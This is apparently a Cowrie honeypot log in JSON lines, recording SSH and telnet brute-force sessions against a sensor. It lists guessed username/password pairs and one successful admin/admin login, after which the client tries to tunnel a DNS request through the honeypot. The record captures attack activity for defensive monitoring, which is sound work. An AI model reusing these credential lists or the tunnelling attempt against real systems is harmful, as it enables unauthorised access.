{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:39.798768Z","src_ip":"43.153.85.27","session":"868846601471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Za123456","message":"login attempt [root/Za123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:40.105776Z","src_ip":"43.153.85.27","session":"868846601471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:41.178226Z","src_ip":"43.153.85.27","session":"868846601471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":49110,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6cfc09be7b5","protocol":"ssh","message":"New connection: 49.51.200.156:49110 (10.17.0.5:22) [session: c6cfc09be7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:43.746066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:43.751199Z","src_ip":"49.51.200.156","session":"c6cfc09be7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":44330,"dst_ip":"10.17.0.5","dst_port":22,"session":"695b49b8c416","protocol":"ssh","message":"New connection: 185.242.234.173:44330 (10.17.0.5:22) [session: 695b49b8c416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:43.782996Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:43.820422Z","src_ip":"49.51.200.156","session":"c6cfc09be7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operador","password":"operador","message":"login attempt [operador/operador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:44.125392Z","src_ip":"49.51.200.156","session":"c6cfc09be7b5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:44.678424Z","src_ip":"185.242.234.173","session":"695b49b8c416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:44.682407Z","src_ip":"185.242.234.173","session":"695b49b8c416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:45.197792Z","src_ip":"49.51.200.156","session":"c6cfc09be7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111","message":"login attempt [root/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:45.620737Z","src_ip":"185.242.234.173","session":"695b49b8c416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:46.830098Z","src_ip":"185.242.234.173","session":"695b49b8c416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48500,"dst_ip":"10.17.0.5","dst_port":23,"session":"16e1e6fba721","protocol":"telnet","message":"New connection: 152.42.224.71:48500 (10.17.0.5:23) [session: 16e1e6fba721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:47.472380Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48506,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3c362dda756","protocol":"telnet","message":"New connection: 152.42.224.71:48506 (10.17.0.5:23) [session: a3c362dda756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:50.135549Z"}
{"eventid":"cowrie.session.closed","duration":41.053136110305786,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:50.367812Z","src_ip":"152.42.224.71","session":"0a64da6117aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01661515235901,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:57.723064Z","src_ip":"152.42.224.71","session":"a2e3a5ca1f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.091466665267944,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:07.833178Z","src_ip":"152.42.224.71","session":"508ef4a3c4aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.01436424255371,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:26.486613Z","src_ip":"152.42.224.71","session":"16e1e6fba721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40614,"dst_ip":"10.17.0.5","dst_port":23,"session":"765729d9f50f","protocol":"telnet","message":"New connection: 152.42.224.71:40614 (10.17.0.5:23) [session: 765729d9f50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:26.642496Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":34686,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbe782fa4586","protocol":"ssh","message":"New connection: 59.16.212.232:34686 (159.203.135.109:22) [session: bbe782fa4586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:30.895735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:30.901568Z","src_ip":"59.16.212.232","session":"bbe782fa4586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:31.105328Z","src_ip":"59.16.212.232","session":"bbe782fa4586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":54360,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc75f10d4a5a","protocol":"ssh","message":"New connection: 45.117.179.232:54360 (10.17.0.5:22) [session: fc75f10d4a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:31.818816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:31.823395Z","src_ip":"45.117.179.232","session":"fc75f10d4a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2user2","message":"login attempt [user2/user2user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:31.950495Z","src_ip":"59.16.212.232","session":"bbe782fa4586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:32.077444Z","src_ip":"45.117.179.232","session":"fc75f10d4a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1","message":"login attempt [admin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:33.127213Z","src_ip":"45.117.179.232","session":"fc75f10d4a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:33.159137Z","src_ip":"59.16.212.232","session":"bbe782fa4586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:34.384221Z","src_ip":"45.117.179.232","session":"fc75f10d4a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54176,"dst_ip":"10.17.0.5","dst_port":22,"session":"76bcc93580c4","protocol":"ssh","message":"New connection: 193.32.162.145:54176 (10.17.0.5:22) [session: 76bcc93580c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:41.811385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:41.822697Z","src_ip":"193.32.162.145","session":"76bcc93580c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:41.916545Z","src_ip":"193.32.162.145","session":"76bcc93580c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sollet","password":"sollet","message":"login attempt [sollet/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:42.407235Z","src_ip":"193.32.162.145","session":"76bcc93580c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:43.518256Z","src_ip":"193.32.162.145","session":"76bcc93580c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65266,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6d9ddd28ea9","protocol":"ssh","message":"New connection: 87.251.64.176:65266 (10.17.0.5:22) [session: d6d9ddd28ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.039246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.044466Z","src_ip":"87.251.64.176","session":"d6d9ddd28ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.144848Z","src_ip":"87.251.64.176","session":"d6d9ddd28ea9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.436866Z","src_ip":"87.251.64.176","session":"d6d9ddd28ea9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.537132Z","session":"d6d9ddd28ea9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.635859Z","src_ip":"87.251.64.176","session":"d6d9ddd28ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.737318Z","src_ip":"87.251.64.176","session":"d6d9ddd28ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38912,"dst_ip":"10.17.0.5","dst_port":23,"session":"de0feb2b98c5","protocol":"telnet","message":"New connection: 152.42.224.71:38912 (10.17.0.5:23) [session: de0feb2b98c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:44.907997Z"}
{"eventid":"cowrie.session.closed","duration":112.70648264884949,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:47.397403Z","src_ip":"152.42.224.71","session":"3aa7799acb92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":21907,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8f1cb67d52","protocol":"ssh","message":"New connection: 181.0.214.136:21907 (10.17.0.5:22) [session: 0b8f1cb67d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:49.412416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:40:49.417289Z","src_ip":"181.0.214.136","session":"0b8f1cb67d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-grou